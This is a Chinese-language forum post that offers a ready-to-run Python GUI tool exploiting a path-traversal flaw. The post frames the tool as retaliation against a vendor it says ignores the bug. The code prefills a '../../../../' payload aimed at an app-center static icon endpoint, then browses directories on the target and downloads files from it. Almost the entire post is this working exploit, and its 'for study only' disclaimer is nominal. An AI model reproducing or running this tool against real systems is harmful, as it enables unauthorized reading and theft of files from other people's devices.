给你个脚本去跑
反正官方也不重视,只好以暴制暴了
- import tkinter as tk
- import requests
- from bs4 import BeautifulSoup
- import os
- import urllib.parse
- # 用于保存路径段的数组,模拟 http.server 的目录浏览
- path_segments = []
- def normalize_url(url: str) -> str:
- return url.rstrip('/')
- def access_url(base_only=False):
- global path_segments
- url = normalize_url(entry_url.get().strip())
- payload = entry_payload.get().strip()
- if not url:
- return
- if base_only:
- path_segments = []
- full_url = url + payload
- if path_segments:
- encoded_segments = [urllib.parse.quote(seg) for seg in path_segments]
- full_url += "/".join(encoded_segments)
- entry_result.delete(0, tk.END)
- entry_result.insert(0, full_url)
- try:
- response = requests.get(full_url, timeout=5)
- if response.status_code != 200:
- entry_status.delete(0, tk.END)
- entry_status.insert(0, f"访问失败: 状态码 {response.status_code}")
- return
- soup = BeautifulSoup(response.text, "html.parser")
- links = [a.get("href") for a in soup.find_all("a") if a.get("href")]
- listbox_links.delete(0, tk.END)
- listbox_links.insert(tk.END, "../")
- for link in links:
- decoded = urllib.parse.unquote(link)
- listbox_links.insert(tk.END, decoded)
- entry_status.delete(0, tk.END)
- entry_status.insert(0, f"访问成功: 状态码 {response.status_code}")
- except Exception as e:
- if path_segments:
- path_segments.pop()
- entry_status.delete(0, tk.END)
- entry_status.insert(0, f"访问错误: {e}")
- def on_double_click(event):
- selected = listbox_links.get(tk.ACTIVE)
- if not selected:
- return
- global path_segments
- if selected == "../":
- if path_segments:
- path_segments.pop()
- else:
- path_segments.append(selected)
- entry_third.delete(0, tk.END)
- entry_third.insert(0, "/".join(path_segments))
- access_url()
- def on_right_click(event):
- try:
- index = listbox_links.nearest(event.y)
- selected = listbox_links.get(index)
- except Exception:
- return
- if not selected or selected == "../":
- return
- # 高亮选中的条目
- listbox_links.selection_clear(0, tk.END)
- listbox_links.selection_set(index)
- listbox_links.activate(index)
- menu = tk.Menu(root, tearoff=0)
- if selected.endswith('/'):
- menu.add_command(label="无法下载目录", state="disabled")
- else:
- menu.add_command(label="下载到当前目录", command=lambda: download_file(selected))
- menu.post(event.x_root, event.y_root)
- def download_file(filename):
- url = normalize_url(entry_url.get().strip())
- payload = entry_payload.get().strip()
- full_url = url + payload
- if path_segments:
- encoded_segments = [urllib.parse.quote(seg) for seg in path_segments]
- full_url += "/".join(encoded_segments)
- full_url += urllib.parse.quote(filename)
- try:
- response = requests.get(full_url, timeout=5)
- if response.status_code != 200:
- entry_status.delete(0, tk.END)
- entry_status.insert(0, f"下载失败: 状态码 {response.status_code}")
- return
- with open(os.path.basename(filename), "wb") as f:
- f.write(response.content)
- entry_status.delete(0, tk.END)
- entry_status.insert(0, f"下载成功: {filename} (状态码 {response.status_code})")
- except Exception as e:
- entry_status.delete(0, tk.END)
- entry_status.insert(0, f"下载错误: {e}")
- # 主窗口
- root = tk.Tk()
- root.title("仅供学习交流 - 禁止非法使用 - 请与24小时内删除 - 侵权请联系删除")
- # 允许窗口拉伸
- root.rowconfigure(5, weight=1)
- root.columnconfigure(0, weight=1)
- frame_top = tk.Frame(root)
- frame_top.pack(pady=5, fill="x")
- label_url = tk.Label(frame_top, text="URL:")
- label_url.grid(row=0, column=0, padx=5)
- entry_url = tk.Entry(frame_top, width=30)
- entry_url.grid(row=0, column=1, padx=5)
- label_payload = tk.Label(frame_top, text="Payload:")
- label_payload.grid(row=0, column=2, padx=5)
- entry_payload = tk.Entry(frame_top, width=50)
- entry_payload.insert(0, "/app-center-static/serviceicon/myapp/{0}/?size=../../../../")
- entry_payload.grid(row=0, column=3, padx=5)
- button_access = tk.Button(frame_top, text="访问根目录", command=lambda: access_url(base_only=True))
- button_access.grid(row=0, column=4, padx=5)
- label_result = tk.Label(root, text="当前访问的URL:")
- label_result.pack(pady=5)
- entry_result = tk.Entry(root, width=80)
- entry_result.pack(pady=5, fill="x")
- label_links = tk.Label(root, text="目录中的文件/目录:")
- label_links.pack(pady=5)
- frame_list = tk.Frame(root)
- frame_list.pack(pady=5, fill="both", expand=True)
- scrollbar = tk.Scrollbar(frame_list, orient="vertical")
- listbox_links = tk.Listbox(frame_list, yscrollcommand=scrollbar.set)
- scrollbar.config(command=listbox_links.yview)
- listbox_links.pack(side="left", fill="both", expand=True)
- scrollbar.pack(side="right", fill="y")
- listbox_links.bind("<Double-Button-1>", on_double_click)
- listbox_links.bind("<Button-3>", on_right_click)
- label_third = tk.Label(root, text="当前路径 (第三段):")
- label_third.pack(pady=5)
- entry_third = tk.Entry(root, width=80)
- entry_third.pack(pady=5, fill="x")
- label_status = tk.Label(root, text="下载/访问状态:")
- label_status.pack(pady=5)
- entry_status = tk.Entry(root, width=80)
- entry_status.pack(pady=5, fill="x")
- root.mainloop()
复制代码 |